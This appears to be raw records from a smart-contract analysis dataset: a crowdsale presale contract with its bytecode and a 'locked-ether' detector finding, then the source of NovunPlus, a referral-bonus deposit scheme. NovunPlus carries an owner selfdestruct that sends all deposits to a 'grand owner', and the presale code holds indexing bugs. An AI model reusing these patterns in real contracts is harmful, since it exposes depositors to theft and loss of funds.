setPresaleParticipantWhitelist(address[] addr, bool status) public onlyOwner { for(uint i = 0; i < addr.length; i++ ){ presaleParticipantWhitelist[addr[i]] = status; } emit Whitelisted(addr, status); } /** * Allow owner to set freezeEndsAt (Timestamp). * Added by: TokenMagic */ function setFreezeEnd(uint _freezeEndsAt) public onlyOwner { require(_freezeEndsAt != 0); freezeEndsAt = _freezeEndsAt; emit FreezeEndChanged(freezeEndsAt); } /** * Move single pre-sale participant&#39;s fund to the crowdsale contract. * Modified by: TokenMagic */ function participateCrowdsaleInvestor(address investor) public onlyOwner { // Crowdsale not yet set require(address(crowdsale) != 0); if(balances[investor] > 0) { uint amount = balances[investor]; uint tokenAmount = tokenDue[investor]; delete balances[investor]; delete tokenDue[investor]; crowdsale.invest.value(amount)(investor,tokenAmount); } } /** * Move all pre-sale participants fund to the crowdsale contract. * */ function participateCrowdsaleAll() public onlyOwner { // We might hit a max gas limit in this loop, // and in this case you can simply call participateCrowdsaleInvestor() for all investors for(uint i = 0; i < investors.length; i++) { participateCrowdsaleInvestor(investors[i]); } } /** * Move selected pre-sale participants fund to the crowdsale contract. * */ function participateCrowdsaleSelected(address[] addr) public onlyOwner { for(uint i = 0; i < addr.length; i++ ){ participateCrowdsaleInvestor(investors[i]); } } /** * ICO never happened. Allow refund. * Modified by: TokenMagic */ function refund() public { // Trying to ask refund too soon require(now > freezeEndsAt && balances[msg.sender] > 0); address investor = msg.sender; uint amount = balances[investor]; delete balances[investor]; emit Refunded(investor, amount); investor.transfer(amount); } /** * Set the crowdsale contract address, where we will move presale funds when the crowdsale opens. */ function setCrowdsale(HoardCrowdsale _crowdsale) public onlyOwner { crowdsale = _crowdsale; emit CrowdsaleAdded(crowdsale); } /** * Get total investors count * Added by: TokenMagic */ function getInvestorsCount() public view returns(uint investorsCount) { return investors.length; } /// @dev Contruction, creating a list of tranches /// @param _tranches uint[] tranches Pairs of (start amount, price) function setPricing(uint[] _tranches) public onlyOwner { // Need to have tuples, length check if(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2) { revert(); } trancheCount = _tranches.length / 2; uint highestAmount = 0; for(uint i=0; i<_tranches.length/2; i++) { tranches[i].amount = _tranches[i*2]; tranches[i].price = _tranches[i*2+1]; // No invalid steps if((highestAmount != 0) && (tranches[i].amount <= highestAmount)) { revert(); } highestAmount = tranches[i].amount; } // We need to start from zero, otherwise we blow up our deployment if(tranches[0].amount != 0) { revert(); } // Last tranche price must be zero, terminating the crowdale if(tranches[trancheCount-1].price != 0) { revert(); } } /// @dev Get the current tranche or bail out if we are not in the tranche periods. /// @return {[type]} [description] function getCurrentTranche() private view returns (Tranche) { uint i; for(i=0; i < tranches.length; i++) { if(weiRaised <= tranches[i].amount) { return tranches[i-1]; } } } /// @dev Get the current price. /// @return The current price or 0 if we are outside trache ranges function getCurrentPrice() public view returns (uint result) { return getCurrentTranche().price; } /// @dev Calculate the current price for buy in amount. function calculatePrice(uint value) public view returns (uint) { uint multiplier = 10 ** tokenDecimals; uint price = getCurrentPrice(); return value.times(multiplier) / price; } /// @dev Iterate through tranches. You reach end of tranches when price = 0 /// @return tuple (time, price) function getTranche(uint n) public view returns (uint, uint) { return (tranches[n].amount, tranches[n].price); } function getFirstTranche() private view returns (Tranche) { return tranches[0]; } function getLastTranche() private view returns (Tranche) { return tranches[trancheCount-1]; } function getPricingStartsAt() public view returns (uint) { return getFirstTranche().amount; } function getPricingEndsAt() public view returns (uint) { return getLastTranche().amount; } }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b269898146104c85780630e1aba8f1461052e57806311b973241461058957806324ae84cc146105ef57806326c259621461063257806327e235e31461067a5780632c9a0a95146106d15780633b97e856146106fc5780633feb5f2b146107275780634042b66f1461079457806347e6473f146107bf578063483a20b2146108165780635481730114610859578063590e1ae31461088657806359eb82241461089d5780636962b010146108c85780636ee2627b146108f35780636f079f901461091e57806389506a44146109495780638da5cb5b146109745780639c1e03a0146109cb578063ae10426514610a22578063b8e3e6da14610a63578063cf1d829414610a7a578063d972e8ad14610aec578063eb91d37e14610b34578063ed21187a14610b5f578063f2fde38b14610b8a575b600080600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156101c857600080fd5b6000601e541115156101d957600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16925061027d34600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bcd90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102d534600754610bcd90919063ffffffff16565b600781905550600854600754111515156102ee57600080fd5b3491506102fa82610beb565b905061034e81600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bcd90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508215156104575760028490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b7fc3f75dfc78f6efac88ad5abb5e606276b903647d97b2a62a1ef89840a658bbc38434604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050005b3480156104d457600080fd5b5061052c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610cc6565b005b34801561053a57600080fd5b5061056f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e9a565b604051808215151515815260200191505060405180910390f35b34801561059557600080fd5b506105ed60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610eba565b005b3480156105fb57600080fd5b50610630600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f78565b005b34801561063e57600080fd5b5061065d60048036038101908080359060200190929190505050611254565b604051808381526020018281526020019250505060405180910390f35b34801561068657600080fd5b506106bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127d565b6040518082815260200191505060405180910390f35b3480156106dd57600080fd5b506106e6611295565b6040518082815260200191505060405180910390f35b34801561070857600080fd5b506107116112a8565b6040518082815260200191505060405180910390f35b34801561073357600080fd5b50610752600480360381019080803590602001909291905050506112ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107a057600080fd5b506107a96112ec565b6040518082815260200191505060405180910390f35b3480156107cb57600080fd5b50610800600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b34801561082257600080fd5b50610857600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130a565b005b34801561086557600080fd5b506108846004803603810190808035906020019092919050505061142e565b005b34801561089257600080fd5b5061089b6114dc565b005b3480156108a957600080fd5b506108b2611678565b6040518082815260200191505060405180910390f35b3480156108d457600080fd5b506108dd61167e565b6040518082815260200191505060405180910390f35b3480156108ff57600080fd5b50610908611684565b6040518082815260200191505060405180910390f35b34801561092a57600080fd5b5061093361168a565b6040518082815260200191505060405180910390f35b34801561095557600080fd5b5061095e61169d565b6040518082815260200191505060405180910390f35b34801561098057600080fd5b506109896116a2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109d757600080fd5b506109e06116c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2e57600080fd5b50610a4d60048036038101908080359060200190929190505050610beb565b6040518082815260200191505060405180910390f35b348015610a6f57600080fd5b50610a786116ed565b005b348015610a8657600080fd5b50610aea600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035151590602001909291905050506117ae565b005b348015610af857600080fd5b50610b176004803603810190808035906020019092919050505061191d565b604051808381526020018281526020019250505060405180910390f35b348015610b4057600080fd5b50610b49611957565b6040518082815260200191505060405180910390f35b348015610b6b57600080fd5b50610b7461196a565b6040518082815260200191505060405180910390f35b348015610b9657600080fd5b50610bcb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611977565b005b6000808284019050838110151515610be157fe5b8091505092915050565b6000806000601f54600a0a9150610c00611957565b9050808473a3ef8c9a5868043dcda059ea534b9f0914af2bbb631d3b9edf9091856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015610c7857600080fd5b505af4158015610c8c573d6000803e3d6000fd5b505050506040513d6020811015610ca257600080fd5b8101908080519060200190929190505050811515610cbc57fe5b0492505050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2457600080fd5b600160028451811515610d3357fe5b061480610d4557506002600a02835110155b15610d4f57600080fd5b60028351811515610d5c57fe5b04601e8190555060009150600090505b60028351811515610d7957fe5b04811015610e45578260028202815181101515610d9257fe5b90602001906020020151600a82600a81101515610dab57fe5b60020201600001819055508260016002830201815181101515610dca57fe5b90602001906020020151600a82600a81101515610de357fe5b600202016001018190555060008214158015610e15575081600a82600a81101515610e0a57fe5b600202016000015411155b15610e1f57600080fd5b600a81600a81101515610e2e57fe5b600202016000015491508080600101915050610d6c565b6000600a6000600a81101515610e5757fe5b6002020160000154141515610e6b57600080fd5b6000600a6001601e5403600a81101515610e8157fe5b6002020160010154141515610e9557600080fd5b505050565b60016020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1757600080fd5b600090505b8151811015610f7457610f67600282815481101515610f3757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f78565b8080600101915050610f1c565b5050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd657600080fd5b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561101e57600080fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561124f57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009055600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009055600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9b8c2468385846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506000604051808303818588803b15801561123557600080fd5b505af1158015611249573d6000803e3d6000fd5b50505050505b505050565b600a81600a8110151561126357fe5b600202016000915090508060000154908060010154905082565b60046020528060005260406000206000915090505481565b600061129f611acc565b60000151905090565b601f5481565b6002818154811015156112bd57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136557600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507ff982d485f9577ed2c0723bc2e518516ecbb0bc2ba3fb45e64a466de0ed3a989d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148957600080fd5b6000811415151561149957600080fd5b806006819055507fa65eab73c7b68251e0ce313cae2a33710f7331239745e4a49b2c9f5c28455eba6006546040518082815260200191505060405180910390a150565b6000806006544211801561152f57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561153a57600080fd5b339150600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090557fd7dee2702d63ad89917b6a4da9981c90c4d24f8c2bdfd64c604ecae57d8d06518282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a18173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611673573d6000803e3d6000fd5b505050565b601e5481565b60065481565b60085481565b6000611694611b0c565b60000151905090565b600a81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174a57600080fd5b600090505b6002805490508110156117ab5761179e60028281548110151561176e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f78565b808060010191505061174f565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180b57600080fd5b600090505b8251811015611894578160016000858481518110151561182c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611810565b7ffbc469d644dccc06c77073da6eb7a7044b96dec4b57a775494ae6297d40fbfea8383604051808060200183151515158152602001828103825284818151815260200191508051906020019060200280838360005b838110156119045780820151818401526020810190506118e9565b50505050905001935050505060405180910390a1505050565b600080600a83600a8110151561192f57fe5b6002020160000154600a84600a8110151561194657fe5b600202016001015491509150915091565b6000611961611b50565b60200151905090565b6000600280549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a0e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611ad4611bd6565b600a6000600a81101515611ae457fe5b6002020160408051908101604052908160008201548152602001600182015481525050905090565b611b14611bd6565b600a6001601e5403600a81101515611b2857fe5b6002020160408051908101604052908160008201548152602001600182015481525050905090565b611b58611bd6565b60008090505b600a811015611bd157600a81600a81101515611b7657fe5b6002020160000154600754111515611bc457600a60018203600a81101515611b9a57fe5b60020201604080519081016040529081600082015481526020016001820154815250509150611bd2565b8080600101915050611b5e565b5b5090565b6040805190810160405280600081526020016000815250905600a165627a7a723058203474434c7db08a7ad3f643734577d08d4bd074964b3eacd78f289ab02550f09f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,865
0x1ce7ecab02b163f376e7ec026e6755626f14b289
/** *Submitted for verification at Etherscan.io on 2020-08-19 */ /* _ __ _____ ___ _ _ __ _ | '_ \ / _ \ \ / / | | | '_ \ _| |_ | | | | (_) \ V /| |_| | | | |_ _| |_| |_|\___/ \_/ \__,_|_| |_| |_| */ /* SPDX-License-Identifier: MIT License */ pragma solidity 0.6.8; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract Destructible { address payable public grand_owner; event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner); constructor() public { grand_owner = msg.sender; } function transferGrandOwnership(address payable _to) external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); grand_owner = _to; } function destruct() external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); selfdestruct(grand_owner); } } contract NovunPlus is Ownable, Destructible, Pausable { struct User { uint256 id; uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 direct_bonus; uint256 match_bonus; uint256 deposit_amount; uint256 deposit_payouts; uint40 deposit_time; uint256 total_deposits; uint256 total_payouts; uint256 total_structure; } mapping(address => User) public users; uint256[] public cycles; // ether uint8[] public ref_bonuses; // 1 => 1% uint8[] public net_bonuses; uint256 public total_withdraw; uint256 public lastUserId; event Upline(address indexed addr, address indexed upline); event NewDeposit(address indexed addr, uint256 amount); event DirectPayout(address indexed addr, address indexed from, uint256 amount, uint8 level); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event LimitReached(address indexed addr, uint256 amount); constructor() public { ref_bonuses.push(30); ref_bonuses.push(15); ref_bonuses.push(15); ref_bonuses.push(15); ref_bonuses.push(15); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); net_bonuses.push(8); net_bonuses.push(4); net_bonuses.push(2); cycles.push(10 ether); cycles.push(25 ether); cycles.push(50 ether); cycles.push(100 ether); } receive() payable external whenNotPaused { _deposit(msg.sender, msg.value); } function _setUpline(address _addr, address _upline) private { if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) { users[_addr].upline = _upline; users[_upline].referrals++; emit Upline(_addr, _upline); for(uint8 i = 0; i < ref_bonuses.length; i++) { if(_upline == address(0)) break; users[_upline].total_structure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == owner(), "No upline"); if(users[_addr].deposit_time > 0) { users[_addr].cycle++; require(users[_addr].payouts >= maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists"); require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount"); } else { lastUserId++; require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount"); } users[_addr].id = lastUserId; users[_addr].payouts = 0; users[_addr].deposit_amount = _amount; users[_addr].deposit_payouts = 0; users[_addr].deposit_time = uint40(block.timestamp); users[_addr].total_deposits += _amount; emit NewDeposit(_addr, _amount); address _upline = users[_addr].upline; for (uint8 i = 0; i < net_bonuses.length; i++) { uint256 _bonus = (_amount * net_bonuses[i]) / 100; if(_upline != address(0)) { users[_upline].direct_bonus += _bonus; emit DirectPayout(_upline, _addr, _bonus, i + 1); _upline = users[_upline].upline; } else { users[owner()].direct_bonus += _bonus; emit DirectPayout(owner(), _addr, _bonus, i + 1); _upline = owner(); } } payable(owner()).transfer((_amount * 15) / 1000); // 1.5% } function _refPayout(address _addr, uint256 _amount) private { address up = users[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].referrals >= i + 1) { uint256 bonus = _amount * ref_bonuses[i] / 100; users[up].match_bonus += bonus; emit MatchPayout(up, _addr, bonus); } up = users[up].upline; } } function deposit(address _upline) external payable whenNotPaused { _setUpline(msg.sender, _upline); _deposit(msg.sender, msg.value); } function withdraw() external whenNotPaused { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(users[msg.sender].payouts < max_payout, "Full payouts"); // Deposit payout if(to_payout > 0) { if(users[msg.sender].payouts + to_payout > max_payout) { to_payout = max_payout - users[msg.sender].payouts; } users[msg.sender].deposit_payouts += to_payout; users[msg.sender].payouts += to_payout; _refPayout(msg.sender, to_payout); } // Direct payout if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) { uint256 direct_bonus = users[msg.sender].direct_bonus; if(users[msg.sender].payouts + direct_bonus > max_payout) { direct_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].direct_bonus -= direct_bonus; to_payout += direct_bonus; } // Match payout if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) { uint256 match_bonus = users[msg.sender].match_bonus; if(users[msg.sender].payouts + match_bonus > max_payout) { match_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].match_bonus -= match_bonus; users[msg.sender].payouts += match_bonus; to_payout += match_bonus; } require(to_payout > 0, "Zero payout"); users[msg.sender].total_payouts += to_payout; total_withdraw += to_payout; payable(msg.sender).transfer(to_payout); emit Withdraw(msg.sender, to_payout); if(users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts); } } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function maxPayoutOf(uint256 _amount) private pure returns(uint256) { return _amount * 3; } function payoutOf(address _addr) public view returns(uint256 payout, uint256 max_payout) { payout = 0; max_payout = maxPayoutOf(users[_addr].deposit_amount); if(users[_addr].deposit_payouts < max_payout) { payout = (((users[_addr].deposit_amount * 15) / 1000) * ((now - users[_addr].deposit_time) / 1 days)) - users[_addr].deposit_payouts; if(users[_addr].deposit_payouts + payout > max_payout) { payout = max_payout - users[_addr].deposit_payouts; } } return (payout, max_payout); } /* Only external call */ function getDaysSinceDeposit(address _addr) external view returns(uint daysSince, uint secondsSince) { return (((now - users[_addr].deposit_time) / 1 days), (now - users[_addr].deposit_time)); } function isUserRegistered(address _addr) external view returns(bool isRegistered) { return (users[_addr].total_deposits > 0); } function userInfo(address _addr) external view returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 match_bonus, uint256 cycle) { return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].match_bonus, users[_addr].cycle); } function userInfoTotals(address _addr) external view returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) { return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure); } function contractInfo() external view returns(uint256 _total_withdraw, uint256 _lastUserId) { return (total_withdraw, lastUserId); } }
0x6080604052600436106101445760003560e01c8063715018a6116100b6578063ab39744d1161006f578063ab39744d14610502578063afbce3b914610542578063b7d9f0d21461056c578063f2fde38b14610596578063f32bca64146105c9578063f340fa01146105fc576101a7565b8063715018a6146103ae57806374b95b2d146103c35780638456cb591461041c5780638da5cb5b146104315780639a8318f414610446578063a87430ba1461045b576101a7565b8063348d448711610108578063348d4487146102e2578063375e5c6c146103095780633ccfd60b1461033c5780633f4ba83a146103515780635c975abb146103665780636da61d1e1461037b576101a7565b806315c43aaf146101ac578063163f7522146101da5780631959a002146102215780631a9753761461029c5780632b68b9c6146102cd576101a7565b366101a757600154600160a01b900460ff161561019b576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6101a53334610622565b005b600080fd5b3480156101b857600080fd5b506101c1610b39565b6040805192835260208301919091528051918290030190f35b3480156101e657600080fd5b5061020d600480360360208110156101fd57600080fd5b50356001600160a01b0316610b43565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102546004803603602081101561024457600080fd5b50356001600160a01b0316610b63565b604080516001600160a01b03909816885264ffffffffff9096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b3480156102a857600080fd5b506102b1610bbc565b604080516001600160a01b039092168252519081900360200190f35b3480156102d957600080fd5b506101a5610bcb565b3480156102ee57600080fd5b506102f7610c38565b60408051918252519081900360200190f35b34801561031557600080fd5b506101a56004803603602081101561032c57600080fd5b50356001600160a01b0316610c3e565b34801561034857600080fd5b506101a5610cbf565b34801561035d57600080fd5b506101a5611099565b34801561037257600080fd5b5061020d6110fb565b34801561038757600080fd5b506101c16004803603602081101561039e57600080fd5b50356001600160a01b031661110b565b3480156103ba57600080fd5b506101a56111d4565b3480156103cf57600080fd5b506103f6600480360360208110156103e657600080fd5b50356001600160a01b0316611276565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561042857600080fd5b506101a56112aa565b34801561043d57600080fd5b506102b161130a565b34801561045257600080fd5b506102f7611319565b34801561046757600080fd5b5061048e6004803603602081101561047e57600080fd5b50356001600160a01b031661131f565b604080519d8e5260208e019c909c526001600160a01b03909a168c8c015260608c019890985260808b019690965260a08a019490945260c089019290925260e088015261010087015264ffffffffff1661012086015261014085015261016084015261018083015251908190036101a00190f35b34801561050e57600080fd5b5061052c6004803603602081101561052557600080fd5b5035611398565b6040805160ff9092168252519081900360200190f35b34801561054e57600080fd5b506102f76004803603602081101561056557600080fd5b50356113c9565b34801561057857600080fd5b5061052c6004803603602081101561058f57600080fd5b50356113e7565b3480156105a257600080fd5b506101a5600480360360208110156105b957600080fd5b50356001600160a01b03166113f4565b3480156105d557600080fd5b506101c1600480360360208110156105ec57600080fd5b50356001600160a01b03166114ec565b6101a56004803603602081101561061257600080fd5b50356001600160a01b031661151c565b6001600160a01b038281166000908152600260208190526040909120015416151580610666575061065161130a565b6001600160a01b0316826001600160a01b0316145b6106a3576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6001600160a01b03821660009081526002602052604090206009015464ffffffffff161561083a576001600160a01b0382166000908152600260205260409020600180820180549091019055600701546106fc90611585565b6001600160a01b0383166000908152600260205260409020600401541015610764576040805162461bcd60e51b81526020600482015260166024820152754465706f73697420616c72656164792065786973747360501b604482015290519081900360640190fd5b6001600160a01b03821660009081526002602052604090206007015481108015906107f75750600380546001600160a01b038416600090815260026020526040902060010154600019909101106107d6576001600160a01b0383166000908152600260205260409020600101546107de565b600354600019015b815481106107e857fe5b90600052602060002001548111155b6108355760408